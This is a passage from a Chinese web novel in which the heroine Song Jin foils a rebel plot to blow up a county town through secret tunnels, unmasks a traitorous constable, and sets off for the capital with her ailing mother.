他知道定然是她做了什么事,才换了这个机会,她向来都是这般厉害的 而他,百无一用是书生,至今连自己都负担不起,严盛想着便不由苦笑 而守卫们见他站在这里迟迟不走,表情奇怪,他们再次警惕了起来,手握着剑,呵斥:“还站在这干什么?再不走别怪我们不客气” 严盛思索半晌,后退一步,行礼:“大人莫怪,在下突然想起刚才碰到的奇怪之人,不知该如何诉说” 守卫对视:“怎么个奇怪法” “他形色匆匆,一路左右张望,去的地方也十分僻静,看起来极其可疑”说着严盛苦笑,“想想也似我多心 ,大人们随便听听就好” 这要是在平日,两个侍卫都不会理他,但是这段时间过于特殊,任何一点蛛丝马迹都不能放过 守卫:“你等一下,我去找人,你带人过去看看” 严盛又有些犹豫了起来:“万一那人无辜” 侍卫睥睨:“我们是守卫,不是土匪” 不会没事抓无辜的人玩,他们忙着呢 严盛尴尬一笑,便在此等待,没一会儿那边巡逻的队伍走了过来,守卫和他们交代一番 巡逻队为首的人正是县衙的罗衙役,他道:“走吧,去看看怎么回事” 事到如今,严盛有些后悔自己刚才多嘴,但后悔也没用,他只能硬着头皮带着人朝着那边小院子走去,在心里盼着夫子可千万别知道这事 他也不是怀疑夫子,就是纯粹觉得这人奇怪 宋锦曾经和他说过:“当你第一眼就觉得一个人奇怪的时候,最好离他远点” 他当时也曾反驳:“万一看错了呢?” 宋锦只是笑笑:“看错了也就是让你失去一个认识陌生人的机会,但看对了眼,就能救你一命” 这个世道从不安宁 严盛知道,所以他从不会在晚上独自出门,就是白日也不会独自走得太偏,回镇上只会坐车,从不自己走回去 他听过也见过太多人因此出事了,官场的争斗,从学子时刻便已经开始了 严盛需要为自己谋划,他不会和任何一方人站在一起,但他能亲近每一方,好的坏的,最后都会是他的退路 肖县令正直能干,便是他一直想接触但是没有机会的人 严盛带着人走到那小院前,有些紧张,说不准是兴奋还是惶恐,他深吸一口气:“便是此处” 罗衙役上前敲门,里面没有声音 这时有挑着豆花的小贩路过,见此主动搭话:“大人们不用敲,这院里没人” 罗衙役:“没人?” 小贩:“是啊,这边一片都是鬼房子,因为闹鬼人都搬完了,房价可便宜了,小的就住在这旁边,可捡了大便宜了……” 罗衙役没有出声,和其他人对视一眼,点了点头,那人便踩着人爬上墙进屋开门,一群人按着刀进了屋 小贩见此赶紧溜了,严盛走在最后,犹豫之下,还是跟着进了院子,好奇地打探着里面的情况 院内干干净净的,不像是没人住的样子 巡逻队的人没过多久就寻完出来,一个个脸色难看 “东西齐全,绝对有人住” “这不要的破衣服都比我最好的料子好” “绝对有问题” …… 说着他们把目光看向了严盛,问:“你是何时看到人进的屋?” 严盛后退一步:“半个时辰不到” 众人皱眉,半个时辰不到,那人回来干什么?是有东西忘了拿,还是有其他的人过来? 一群人实在拿不定主意,便打算回去禀报上面,不过在这之前,罗衙役对着严盛道:“你先回去吧,此事切莫对外说” 严盛求之不得,他点点头,冲着他们行了个礼转身,却不了脚下突然一滑,连着脚旁的石凳一起摔在地上,很是狼狈 “……” 众人一言难尽地看着他 果然,百无一用是书生啊,这都能摔 严盛也尴尬得不得了,觉得今日实在是不适合出门,尴尴尬尬地起身,正要说什么呢,目光却在脚下顿住,神情也染上了错愕 “金,金金?” 只见他的脚底下,那原本的石板连带着石凳一起挪开,露出了个黑洞,而洞口还在一点点扩大,大到人能自由出入 宋锦顶着一张灰扑扑的脸冒了出来,歪着脑袋:“哎?怎么是你啊” 难不成这地道接的是他们书院? 她疑惑地看着严盛,人还卡在洞口里,有些不太舒服,她便直接使劲,轻轻松松从里面爬了出来,转头又对上巡逻队警惕的脸,她哦豁一声,挥手 “哎?罗哥?李哥?杨哥,你们怎么在这?难不成这是府衙?” 所有人:…… 这话应该他们来问才对啊 ** 再往回退半天,宋锦和齐铮趁着月色入了山谷,便发现这些人在做撤离准备,大包小包的东西收拾在一起,成库的粮食就不说了,还不乏有银子古董这些珍贵之物,但凡拿一样出去的人抢,现在全都堆到一起 看到就是拿到 那么一堆好东西在前,宋锦想也不想,直接把守卫的人打晕,瞬间改变潜行的原计划,直接开启了混战模式 齐铮对此:…… 不说也罢 好在此刻正值深夜,普通人根本看不清,谷里的人即便是点燃火把,立起篝火,也只能看到周边。而宋锦和齐铮不受夜色影响,又有黄黄这个夜间猛兽在侧 一通混战之后,他们暂且拿下了山谷 好处很明显,这些人跑不了 坏处也明显,这些人真跑不了 他们就两个人,累死也拖不走那么多人,全把人弄死也不对味,但把人单独扔那里——不管是死了还是跑了都可惜了 于是宋锦把烂摊子扔给了齐铮,自己灰溜溜窜了回来,路上又逮着个有点奇怪的人,顺着发现了地道,拖着人就开始往地里钻 主打的就是死不了就往死里折腾 宋锦先是自己爬了出来,没一会儿又想起还有东西没带,她又跳了回去,在底下呲着牙喊:“罗哥,李哥,来帮忙拉人” 说着,她拖着一个半死不活的人往外面递 院子里的人依旧一片茫然,但都是老熟人了,眼看着那人血肉模糊,哐哐往边上撞,一副再不帮忙就要死了的状态,几个人赶紧上前把人拉了出来,还没来得及松口气呢 底下又传来宋锦的喊声:“哎,快让开让开,小心被砸到” 几人赶紧退开 下一秒,那洞口处就跳出一抹金黄的身影,它竖耳呲牙,金目黄皮,爪子粗大,轻轻松松能撕开皮肉,看得人心头一窒 好在宋锦很快又钻了出来,把手中的东西随手一扔,拍了拍手 黄黄一个歪身,趴在地上就不想动了,闭着眼睛呼呼睡了起来 这两日可是给它累惨了 宋锦抬着袖子擦着脸上的灰,纳闷地看着这一屋子的熟人:“你们怎么也在这啊?抓到人了吗?” 罗衙役:“……我们刚到,你怎么在这里?” 宋锦继续擦脸,不过因为在山里洞里钻了两天了,她那衣服不比脸干净多少,越擦越灰 严盛默默地掏出手帕递了过去 宋锦不客气地接了过来,随意地擦着脸,解着被汗水打湿的湿漉漉的头发,重重叹气:“一言难尽啊,没时间说了,你们去找宋行之和李青山,就说这些狗东西要炸城,然后赶紧疏散百姓,找面上的火药,我继续去地道看看” 宋锦想着都觉得这梁家人有毛病,和谁有仇有怨就去和人打呗,在这里炸什么百姓啊?老百姓日子过得也就那样,真炸死了也就那样啊 这群又疯又蠢的货色 在心里骂了人,她对着严盛道:“你也别回书院了,书院和县衙绝对是重点对象,去带我娘出城” 她话一说完,所有人一惊:“此话当真?” 宋锦白眼:“骗你们干什么呢?都是这人嘴里问出来的,不过因为赶时间下手有点重,呃,给他找个大夫看看还能不能活吧” “……” 地上躺着的人血肉模糊,手脚扭曲,趴在那儿呻吟都有气无力,可想之前遭遇了什么 不过此刻也来不及想这些了,还是炸药要紧,一行人简单商量了一下便分头行动起来 而宋锦也没时间休息,她站在那儿扭了扭身子松了松筋骨,就拎了桶水钻回了地道里,顺着火药的味道,又摘掉一包,熟练拆掉引线,将其泡在桶里,沿着狭窄的地道走去 在接连摘下几个炸药包之后,宋锦干脆蹲在地上,拿着木棍在地上面画了起来 她一开始的方位是城南方向,那边倒是没什么重要的地,就是靠近城墙,顺着一路走过来,大致方 向就是文渊书院如果、回春堂、兵所、县衙、工所…… 这是打算一网打尽啊 宋锦嘴上咬着木棍,坐在地上思考着梁家的目的,想来想去,没什么目的,就是纯发疯,搞起混乱,没什么特别的目标 恼羞成怒? 真是疯狗一只 宋锦很是嫌弃地吐掉木棍,揉了揉自己扁扁的肚子,又重新站了起来,走了没几步,她捡起地上的石块往前面一扔,打着哈欠 “出来” 脚步声响起,一个穿着衙役衣服的男人走了出来,看到是宋锦他松了口气:“是宋锦啊,吓死我了,我还以为是那些犯人” 宋锦挑眉:“罗哥?你怎么在这?上面怎么样了?宋行之他们派人查了没有?” 罗衙役擦着汗:“查着呢,也在疏散百姓了,但是你一个人在下面大家也不放心,又特意让我们过来。这路弯弯道道的,走着走着就散了,还好遇到你了,你没事吧?” 宋锦扬了扬手中的水桶:“没事,地道不比上面,东西好清理得多,我就是担心他们还有后手在这里等着。这些疯狗,要我说也是脑子不好,炸这些有什么用?县里也没什么重要人物,有本事去都城炸啊,随便扔一个炸药下去都是大人物” 罗衙役摇了摇头:“是啊,不知道怎么想的,不过这梁家也真够厉害的,地道修的这么大,我还是头一次见到这么复杂的地道” 宋锦啧了一下:“搞了10来年就这点破工程,有什么好夸的?废物玩意儿,走个路都得弯着腰。” 罗衙役站在她后面,看着她的背影:“是你太高了,一个姑娘家,没见过你这么高的。” 宋锦眉飞色舞:“高多好啊,低着脑袋看人,有排面” 罗衙役摇了摇头,叹气:“你啊,姑娘家家的,脾气还是得收一收,不然以后可怎么办啊” 宋锦站在那儿,看着这个从小认识的衙役哥哥,也笑:“你怎么跟宋行之那傻货一个样了,人活一辈子,不就图个自由快活吗?讲究这讲究那的多累啊” 罗衙役苦笑:“哪有说的那么简单,我们这些人啊,不比那些大人物自由快活,做什么都身不由己,也就是苟且偷生了” 宋锦往日张扬的眉眼也耷拉了下来,一双凤眸渐渐淡了光彩,她深深叹着气,抽出腰间的长剑,紧紧抿唇 “那就是没得说了,是吧?罗哥,我想过谁都没想过是你,县衙那么多衙役,你一直是最好的那个。” 他没有架子,会体谅普通人,沉稳体贴,对妻儿一心一意,是县衙里最受看重的衙役,也是宋锦最喜欢的衙役,有事没事都回去找他玩,有什么好东西也第一个分给他 她扯扯嘴角:“肖县令前段时间还和我说,他调任的时候会把你也带走,给你谋个一官半职” 罗衙役抽出长刀,叹气:“你还是这么聪明,我也没想到你这个我看着长大的小姑娘会有这般身世。你啊,要是一直在镇上,不出来就好了。” 宋锦无奈:“真没得谈?说实话,我对你们这些正党逆党的争斗没兴趣,你是个好人,对我也一向很好,你要是现在离开,我就当什么都不知道。” 罗衙役只是摇头:“来吧,让我看看你的剑法有没有长进” 宋锦站在原地,看着他脸上的坚定,心底有些难受,神色也黯了下去,但是伤心之余,手比嘴快,那藏匿的飞刀瞬间到了罗衙役身前,在他猝不及防之下,插入他的肩膀肩膀 罗衙役睁大眼:“你……” 三,二,一 宋锦在心里静静念着,看着他最终踉跄着倒在地上,深深叹气,过了好一会儿,才心情沉重地走到罗衙役面前。对上他那死死瞪大、满是不可思议的眼睛,她一脚踹开他手中的长刀,惆怅 “罗哥,你为什么觉得我会和你打啊” 这地道本就狭窄闷热,空气也没那么流通,走在里面呼吸都有些发窒,不管她武艺再高,这种环境下对打少不了受伤。 再强调一遍,她是莽不是蠢啊,能轻松干掉人,为什么要给自己添麻烦啊 宋锦忧愁:“罗哥,你放心吧,看在我们相识多年的份上,我会好好交代宋行之给你个痛快的,至于你的妻子,也一定会安安全全地带着你家孩子改嫁的,你别太担心” 罗衙役强撑着意识,死死地瞪着面恰的人,嘴唇不断颤抖哆嗦,但凡此刻能出声 一定很脏 第33章 爹失踪了 泗安县原先只是个不起眼的县城,随着这些年水渠建成,土地肥沃起来,百姓勤快开荒,大家日子才一点点好了起来。这边又多小山,山货药材资源丰富,吸引了外来游商,县里百姓勤快,每日做点小生意总能讨点生活 这种兴盛之势,在这短短时日直接消散 以往每日城门一开,外地的游商和周围村镇的百姓便纷纷进城,这几日倒是反了起来,进城的人零零散散,离开的人却排起长队 虽然直接离开泗安县的人少之又少,大部分都是去附近村镇或者府城访亲问戚,但这对于一个县城来说,依旧不是什么好事情 这年头人口才是最大的资源,有人才能开地,有人才能做小生意,才能搞建设 作为县令,肖仕站在城门上看着这个画面,心情十分沉重,他叹气道:“朝廷安定,日子好过的是达官贵人,一旦动荡,苦的却是百姓。别看他们只是离开一阵子,但一大家子日只出不进,每日的衣食住行一去,大半年便又白干了。” 泗安县可以说是肖仕一点点看着好起来的,现在马上任期马上结束,又遇到这般动荡之事,他真的很难不心疼百姓,还有自己 肖县令唏嘘:“你说,我调任的事是不是又黄了?” “您问我?”宋锦伸手指了指自己,很是诧异,“我一个普通老百姓,哪懂这些事啊,您才是县令老爷咧” 她就坐在城墙上,手撑着石墙,双脚晃在半空,那近十米的城墙在她这仿若平地一般寻常。清风拂过她,掀起细密的发丝,一双凤眸明亮而又神,清丽的五官飞扬,她碎碎念念 “您这些年为了县里不说抛头颅洒热血,那也是兢兢业业,在您的带领下,县里的日子一年比一年好,现在就只冒出一个梁王乱党,只是城里差点被炸了一通,也就是齐铮和宋行之两个差点出事” 肖县令心中连中三箭,他捂住胸口:“快,快,快别说了” 再说下去,他升不升职不好说,这脑袋上这顶乌纱帽感觉是没了 肖仕想想都心梗,都说做官看能力,但是在他看来,有时候运气比能力更重要。 这有的人入了仕途就是一路顺遂,比如说他当年的同窗,米和麦都分不清楚,药和菜就更别说了,平日除了之乎者也就是之乎者也,没谁觉得他能考上 偏偏就那一年,江南闹出了舞弊的事情,取消大半之人科考资格,临近科考之时沿路又碰上逃荒人群纷乱,一大批学子被耽搁,那同窗就这样踩着最后一名成了进士,被打发到最北边的苦寒之地当县令,又碰上起义军 然后他就这样一路入了国子监,在朝中颇有名望,但是在当时,他连最基础的四书都没背顺畅 肖仕再想想自己一甲榜眼,先是被贬,再是被贬,再遇乱军,死里逃生又碰上荒灾,再是疫病,又是水害…… 好不容易现在在泗安县还有点模样,又砸手里头了 肖仕悲愤:“这该死的梁王乱党,一群疯子,还想造反,我呸,哪个脑袋进水,屁股缺瓣的蠢货才会帮他,继续去山里当野人吧……” 宋锦:“君子,君子风度,肖县令” 肖县令君子不起来,这做官固然有为民请愿的远大抱负,但何尝又不是为了养家糊口,节节高升呢?他一个平民老百姓走到今天不知道付出了多少,结果回头一看,还是来时路,一动不动,甚至得倒退 他站在那里骂骂咧咧,从垃圾前朝再到如今乱党,从自己的艰辛再到可怜的孩儿,没有往日的半分风度 宋锦嘴角一抽,没好气地打断他:“行了,您够了,我去帮您和齐铮说说好话行吧?他这人还是讲理的 ,等他回朝替你在皇上美言几句,你还怕升不了官吗?” 肖县令立马顿住,目光炯炯那:“当真?” 宋锦:“当真是当真,但是您也别太高看我,我就一乡下丫头,说的话和放屁也差不了多少” 肖县令神情莫测:“今时不同往日,你救城有功,说的话肯定管用” 虽然古话有云靠山,山倒靠人人跑,但是能靠一下,先靠一下呗。这做人啊,就得懂得变通,不然这也不能有不看僧面看佛面的说法 宋锦看着他这一副理直气壮的模样,忍不住给了他个白眼 她就说这人一大早拉着她出来肯定没好事,果不其然。她这命啊,苦得很呢,就说这人情债不能乱欠 宋锦从城上跳了下来,拍拍手上的灰尘,撇嘴:“我只能说我尽量,多的也只能看他们了,我一乡下野丫头说话能有什么分量?行了,您也别在这揪我了,赶紧该去干什么干什么,县里事情多着呢” 肖县令看着她这模样,心意一动,突然道:“宋锦丫头,你看我家老五如何?” 宋锦:“……那小屁孩毛都没长齐呢,走了走了,我回去看看我娘,这事情解决了,总算是可以启程了” 这老头也是,堂堂一个县令,还怕找不到儿媳妇吗?非得每个儿子都给她推一下,也不看看他家老五今年才十岁,属实是丧心病狂了 宋锦飞快离开城门,朝着家里小院跑去 院子里,牛铁兰有气无力地喝着苦药,面对神出鬼没的闺女,一个眼神都懒得给她 宋锦倒是毫不在意,挂着一脸灿烂的笑容就走了过去,摸摸她的额头,碰碰脉搏,确定没问题了才放下心来 她道:“娘,有没有哪里不舒服?” 牛铁兰:“你说我种的那些花会不会晒死了?” 宋锦:“太极练了没?” 牛铁兰:“我菜园子番红应该熟了” 宋锦:“院子里晒,要不要回屋歇歇?” 牛铁兰:“咱家的牛不知道过得怎么样” …… 在院子里牛头不对马嘴的一番交流之后,宋锦在牛铁兰小混球的骂声中离开院子,打算去找宋行之问一问什么时候离开 现在梁家的人跑的跑,抓得抓,该问的也差不多了,就是她们母女俩不重要,齐铮一个王爷离都城这么久,也不能再耽搁了吧? 这可是皇帝才找回来的亲儿子,离开那么久了,她就不相信人会不想他 宋锦双手枕在脑后,慢悠悠地走在街道上,看着比起往日萧条许多的街道,再想想那些搜查出来的炸药,眼眸不由暗了暗 这梁家确实丧心病狂 就像宋锦之前说的那样,她对于什么反贼谋逆的事情没兴趣,她又不是地地道道的本朝人,忠不了君爱不了国。她只想把自己的日子过好,谁来当皇帝她都没有什么意见,也不觉得谋逆是什么大逆不道的事情 成王败寇嘛 但是,梁家不行 这狗东西就是丧心病狂的疯子,根本不把人命当命,今日势弱便能因为行踪暴露而拿一城泄愤,明日便能因大权在握而拿百姓祭天。相比较之下,现在的皇帝还是比较靠谱 起码他为政的二十年来,百姓的日子确实是一日比一日好,便是有些贪官污吏,被发现了也会被收拾,称得上河清海晏。而这样的稳定,就算现在的皇帝去世换一个人上位,只要那人不是智障,便能保百年平静 这样一对比,宋锦觉得,就算是为了自己的平静生活,那些个乱成贼子也当杀。带着这般想法,她来到了县衙,直接被带到了宋行之他们这边 酷刑之下,审问格外简单,尤其是眼看着自己已经被放弃,那些梁家人心凉之下,一个个交代了出来 自从岭南之乱被平定之后,他们便签到了此地,在这边扎根。一个是这边靠近山野,方便逃窜,二便是这边丰富的矿产——除了之前被他们发现的那个以外,还有一个已经开发的差不多的 梁家这些年就靠着这些东西一点点发家,在泗安县,准确点说是在青郡府扎根,在府城放了不少人手,更是建立众多势力。相比较那边,泗安县只类似于驿站,用来运转东西 重要,但是没多少东西 也因为这样,这件事被转到了青郡府那边负责,由朝廷派下来的巡抚监督抓捕,宋行之他们倒是没什么事了,这两日就在整理东西 宋锦大步流星的进来之时,宋行之正在看着笔录,检查其中有没有遗漏的,见到她,头下意识就疼了起来 “怎么又来了?” 这个又字,宋行之咬得很重 宋锦才不在乎他头不头疼呢,直接道:“什么时候走?现在梁家也被抓的差不多了,你们在这里呆着干嘛呢?” 宋行之:“做事有始有终,至少把这些人审完吧” 宋锦步步紧逼:“审完是什么时候完?” 宋行之无奈:“你娘现在不是挺好的吗?也不差这一天两天” 宋锦面无表情:“行,那我明天自己带我娘走” 宋行之头疼:“你们两个人不安全” …… 看着他左推右推的模样,宋锦眯起了眼睛,察觉到了不对,她一巴掌重重拍在桌上,冷笑:“安全不安全的,我看你就是不想带我们回去。怎么,反悔了?我告诉你反悔也没用,我娘的事必须给我一个交代” 宋行之看着她一副不给个答案就掀了房子的模样,试图扬起笑安抚人,但是,他笑不出来,苦笑地揉着额头,叹气又叹气 宋锦眯眼:“到底怎么了?” 宋行之沉默很久,苦笑:“不是我不让你去,而是你现在回去也没用,爹失踪了” 宋锦愣了一下,皱眉:“什么意思?” 宋行之叹了叹气,从身上掏出秘信递给她,一脸愁容和担心:“前几日老二来信,说爹出门遇袭落下山崖,至今没找到人” “没找到人是什么意思?你爹要是不在了,我娘怎么办?”宋锦着急,很快就下定决心,她紧紧抿嘴:“不行,我这就带着我娘去都城,你爹这大奸臣这么厉害,肯定会没事的。” 她不在乎宋商这个人,但是这人事关她娘的身体,绝对不能有事。退一万步说,即便是宋商没在了,她也要带着她娘去都城,去了至少还有一丝希望,不去,就只能坐以待毙等着红线蛊哪天爆发 这绝对不行 宋行之这会儿也没力气和她计较什么你爹我爹了,他有些艰难地说道:“若是我爹好好的,我肯定会尽早带你回去,但是他现在情况不明,我,觉得你最好别去都城” 说要带人回去的是他,现在不想让人回去的还是他,宋行之说完脸都火辣辣的疼,他甚至不敢去看宋锦的脸,也做好了挨打的准备 出人意料的,宋锦表现得十分平静,没有踹桌子,没有踹人,更没有骂骂咧咧,她只是静静地看着宋行之,一字一字 “都城,我去定了” 宋行之猛的抬头,咬牙,道:“我爹不在,你去了又能如何?这天下恨我爹之人何其多,他安然无恙时都一堆麻烦,现在他生死不明,你一旦踏入都城,就凭你那张脸你这辈子都没有平静之日” 不然他早就回都城了,而不是像现在这样压抑着担忧悲痛呆在这里,就为了把此事了得更加干净,等回去才能凭借此功更好地保住宋家 宋锦想不了那么多东西,也不想去想那么多,她只知道,人活一世,要是这也怕那也怕,不如抹脖子重新开局,还乐得清静 她扬起眉头,十分嚣张道:“我这个人,最不怕的就是麻烦,他们有种试试” 宋行之愣愣地看着她这般肆意的模样 这一瞬间,他甚至以为在自己 面前的人就是宋商,不管是长相还是气质,都似一个人 不过下一秒,宋锦一巴掌打碎了这种错觉,她双手重重拍在桌子上,直接道:“你走不走随你,反正明日我便要带着我娘去都城” 看着她眼中的坚定,宋行之知道自己拦不住他,他苦涩地揉了揉脑袋:“你其他哥哥要是知道我把你放回去,肯定会杀了我的” 宋锦抱胸,挑眉:“这样啊,反正死得不是我” 宋行之身形往后,稳稳地靠在椅子上,看着她这般模样,明明知道自己应该努力劝住她的,最后却只是从腰间掏出块令牌 “这是圣上赐给爹的令牌,见牌如见人,有此牌,你便无需向任何人行礼,即便是圣上。只要一日没见到爹的尸体,只要圣上一日未开口,有这令牌,你在都城便能横着走” 既然要回去,那便用最张扬地姿态回去,去把都城那些弯弯道道打碎,去搅他的天翻地覆。他们宋家,即便宋商不在,也还有他们几个哥哥 无需唯一的妹妹弯下脊梁 宋行之把令牌递了过去,看着宋锦那张和宋商极其相似的脸,他扬起了嘴角,声音轻轻,又格外郑重 “爹见到你一定会很喜欢的,小妹” 宋锦黑漆漆的眸子静静地看着他,然后毫不畏惧地接过了令牌,她仰着下巴,勾起嘴角:“那我倒是要看看他是个什么喜欢法,这牌子,我会亲手交给宋商的” 说着,她转身,迈着无所畏惧的步伐,大步离开 第34章 黄金万两? “吱~” 阴暗的牢狱里,铁门缓缓拉开 轻微的吱呀声惊醒了里面的活物,成堆的蟑虫冲着缝隙里墙壁怕去,堆积的稻草间灰尾巴晃动,也有那大胆的老鼠,睁着一双幽黑的小眼趴在铁栏间一动不动 一只大脚毫不客气地重重踩下,那皮肉内脏一起爆裂的声音让人一寒,来人却毫不在意,啐了一声便继续往前,一直到尽头处,他拎起烛火,跳动的火光昏暗,只照亮那狭小牢房的一角 堆积的发霉的草席、角落里脏臭的夜壶、聚在一起享用残渣的群鼠、攀爬的蟑虫…… 最后落在角落里蜷缩的人影 “舒程浩,舒庆祥是吧?” 听到自己的名字,沉睡中的舒程浩睁开惺忪的眼,看到牢门前朦胧的人影,他一个激灵踉跄起身,跑到门口抓住铁栏,惶恐又带着些期盼地看着来人,那往日顺滑的长发中,稻草顺着落下 “哎是我们,大人有何事?” 这段时间下来,他那原先有些圆的脸已经有了尖尖的下巴,一张脸脏兮兮的,布满了蚊子的咬痕,有些肿又有些红,乍一看很难和之前的小当家联系上,但是细看,他的眼睛依旧明亮,只是瘦了一圈 相比较其他入狱的人,他在牢里的日子不算差 每日吃的虽是粗茶淡饭,但是依旧新鲜,不至于是残羹剩饭,又馊又臭;虽然每日依旧要被审问,但都是温和询问,不似一些人直动酷刑,看着便让人胆寒 舒程浩知道,这种优待和他们爷俩一点关系都没有,全都靠自己的好朋友在外面出力,一想到这些,他又欣喜又内疚 卷入这种事情非他本意,但是这事性质严重,他既期待事情能有转折,他和爷爷能被放出去,又怕事情没有和解之地,反而牵连了朋友 因为这些,他在牢里辗转反侧,不过短短几天,就瘦了十来斤 杨衙役抬高烛火,火光照在舒程浩的脸上,能清楚地看清他的模样,确定无疑,他露出个正经笑容 “算你们爷俩运气好,只是被镖局蒙骗,没有真的走私之事,不然啊,就是宋锦这丫头救城有功也救不了你们。出去吧,以后做事情谨慎一些,再有下次,可就没这么简单了” 在舒程浩惊喜的目光下,杨衙役打开了门,冲着他们抬抬下巴:“走吧,我带你们出去” 说着,杨衙役抬腿走在前面,带着又喜又惊的两人往外,平淡地走过一间间浑浊狭小的牢房,直到到了转角。他步子顿了顿,转头看向那昏黑的牢房,无声叹息一声,从腰间掏出布包扔了进去 里面安安静静,没有一点动静 杨衙役只道:“那丫头走了,这是留给你的” 说完他带着不明所以的舒家爷孙俩离开牢房,那吱呀的关门声传来,脚步声一点点远去,虫鼠又卷土重来,发出窸窸窣窣的吱吱声 罗衙役缓缓起身,低头看着那圆滚滚的黑布荷包,将其捡了起来 荷包很有重量,像是装着石头一般,一打开,几颗褐色药丸夹杂在那品相极好的冰糖间,黑白分明 看着就腻得很 罗衙役死死捏着手里东西,闭上眼重新躺回干燥的新草席上,将脑袋埋进干净地带着皂角气息的被子里,等待着天亮后照进的第一缕光亮 这辈子,也不知道还能再见几次 …… 与此同时,舒程浩和舒庆祥爷孙俩跟着杨衙役走出牢房 熹微的天色在此刻有些刺眼,往日在稀疏平常的空气也好闻得不得了 舒程浩怔怔地看着眼前的人,张嘴:“你怎么在这里?” 这人赫然是文渊书院的学子严盛,是宋锦的邻家哥哥,青梅竹马,也可以说是舒程浩单方面的情敌。 此时的严盛穿着天蓝色学子服,衣冠楚楚,面如冠玉,身上的香囊散着淡淡的桂花香。对比起来,才从狱中出来的头似鸟窝,衣似烂布,整个人憔悴又带着淡淡腥臭,像是街头的乞丐 舒程浩心里不是滋味,郁闷之下,带着小人之心道:“你是来看我笑话的?” 他们一个是文渊书院的穷学生,一个是书院对面最大书铺的少当家,往日都是舒程浩看不上严盛这个乡下出生吃软饭的小白脸。现在自家出事,这人还专门等待,很难让他不怀疑呢 严盛打量着他狼狈的模样,没说什么幸灾乐祸的话,只是扬唇笑了笑,然后把手头准备好的衣物递了过去 “去那头收拾一下吧,金金她们就要走了,我想你应该也不想用这副模样见她最后一面” 舒程浩愣住:“什么意思?” 严盛叹气:“牛婶子身体不适,需要去都城寻医,她们之前已经耽搁了一段时间了,现在正在外面马车上等待,见完你最后一面就走” 舒程浩错愕:“不,不回来了?” 严盛没有回他这个问题,因为他也不知道她们还会不会回来,他只是把收拾好的衣服递给舒程浩 “去收拾吧” …… 县衙外,一个个身着暗红衣袍的人整齐而立,他们个个身形高大,五官端正,面色严肃,随便一人放出去都是俊才人杰,而此刻全汇聚一起,以守卫的姿态前后而立 正中间,仿若小屋一般的六马车架端然其中,车身为上好的紫檀木,上面金丝描线,尽显富丽与尊贵凡,而后是略逊一筹的四马车架 不过逊色只是相对而言,单独来看,四马车车身高大,料子结实,虽然样式朴素,但依旧能看出其价值不菲,只不过 车前高骏的三匹白马之中,一头略微矮小的黑骡昂首其中,哼哧哼哧吃着草料,略微破坏了和谐 “要不还是让小黑走后面跑吧”牛铁兰掀开车帘探出头,看着自家格格不入的黑骡,苍白的脸上多了一丝红晕,她低声,“小黑和白马体型不一样,到时候会影响车速的,金金” 相比起亲娘的薄脸皮,宋锦可就淡定多了,她坐在驾车位,脚搭在小黑的屁股上,后背靠着车架,嘴上叼着稻草,就像是看不到着不和谐一样 “没事儿娘,你要相信小黑,它比起普通马一点不差。再说了,这是马车,又不是赛马,不比速度的。真要按着速度跑,你让那些跟着走的侍卫 怎么办?” 那不得把人给累死啊 牛铁兰噎住,这哪是速度不速度的问题,主要是看着,有些脸红 在镇上的时候,大家日子都一般,她们怎么样都无所谓,反正大家都知道她们家日子好,无需炫耀。 现在马上就去都城了,牛铁兰虽然不太想去,但是既然都决定去了,还是得注意一点颜面——她承认她是个有些虚荣心的人 “随你吧,反正到时候要是车子太陡了还是换马来,小黑在一边跟着走就是了。”在自家闺女的坦然下,牛铁兰默默咽了下劝说的话,换了话题,“小舒他们怎么还不出来?真没事了吗?” 宋锦吐掉嘴里的稻草,不太担心:“肯定没事,他俩一个王爷一个小奸臣,要是这点小事都解决不了,那真是白混了,是吧?” 宋行之站在车架前和她们告别,听到这话很是心塞:“我觉得你对我有些误解,我是正儿八经的本朝第五届探花,现在的户部左侍郎,不是小奸臣,爹也不是大奸臣,你别外面的人胡言乱语” 宋锦耸肩:“怎么,他是没有给人五马分尸,还是没有抄别人家,还是没有万贯家财?” 宋行之听得眉头直跳,却也没法反驳,因为这些确实都是真的。但是,他默默提醒:“那也是你爹,东西都是你的” 虽然宋家还有他们兄弟5个,但是宋商早年愿意收养他们几个身世复杂的孩子,还费心培养他们,已经让他们再感激不过了。现在他们长大了,难道还能和这唯一的小妹争? 堂堂男人,想要什么便自己去博,觊觎家业的是怂货 宋锦本来还撇着嘴调侃呢,听到这话,眨眨眼睛,试探道:“听说他手里有万亩良田” 宋行之晃着扇子:“那是谣言,不过千余亩罢了” 现在一亩良田在三十两上下,千余亩,最少也几万两了。而且,这一千亩是上千亩,九千亩也是啊 宋锦瞬间亮起眼睛,继续:“据说他有黄金万两?” 宋行之正色:“也不过是夸大之言,阿爹为官清廉,一年俸禄不过千余两,吃穿生活人情往来就差不多了,哪能筹集这般多钱?不过这些年圣上赏赐,加起来有个千余两黄金罢了,倒是字画古董不少,待你回去后找老五,让他带你去库房一逛便知” 宋锦咽咽口水,继续:“听说他有数不清的宅子商铺” 宋行之诧异:“怎可能有数不清之数?不过是都城三座府宅,十八间商铺,郊外温泉庄子两座罢了。至于江南那边的家宅铺子,不值几个钱,不提也罢” 宋锦:…… 奸臣奸臣,就这还说不是大奸臣 娘亲娘亲,谣言都是真的啊 她这是要从一个普普通通的小地主家女儿,变成腰缠万贯的大地主了吗? 宋锦那漆黑的眸子亮得快和黄黄的眼睛有得一拼,眼看着她还想问东问西,在旁边的牛铁兰忍无可忍,一巴掌拍她脑袋上,揪着她的耳朵,恼 “问什么问,你娘我是饿着你了还是冷着你了?家里什么时候缺你银两了?别人家再多和你有什么关系,自己的才是自己的,好啊,就这么点东西把你收买了,不认娘了是吧?” “哎呀,疼疼疼,娘,疼咧”宋锦吃痛,喊冤,“我就是问一问,随便问问咧。再说了,我哪有不认娘了?这一日为娘终身为娘,就算我那死鬼爹外面还有二娘三娘四娘五娘六娘,你永远都是我唯一的娘” 牛铁兰脸气得通红,手上力道也重了几分:“小混球,小混蛋,老娘真是白养你了,气死我了……” 宋锦:“娘娘娘你轻点,你可真就我这么一个女儿啊” …… 宋行之无奈地看着她们母女俩打闹,他自然看得出牛铁兰对他的警惕和不喜。这要是在之前,他会努力解释并作出保证 但现在都城形势未明,她们此次前去,注定一路坎坷 宋行之后退一步,弯腰行礼,郑重:“望夫人保重” 牛铁兰松开揪着自己熊孩子的手,脸上那因为打闹而起的红晕一点点散去,她神色淡淡,抿了抿唇:“我不知道你们到底商议了什么,只希望你们能说到做到,别辜负了这孩子的信任” 说完,她又掀开帘子回到了车里,一点不掩饰对宋行之的不喜 宋行之苦笑:“夫人看起来对我误会颇多” 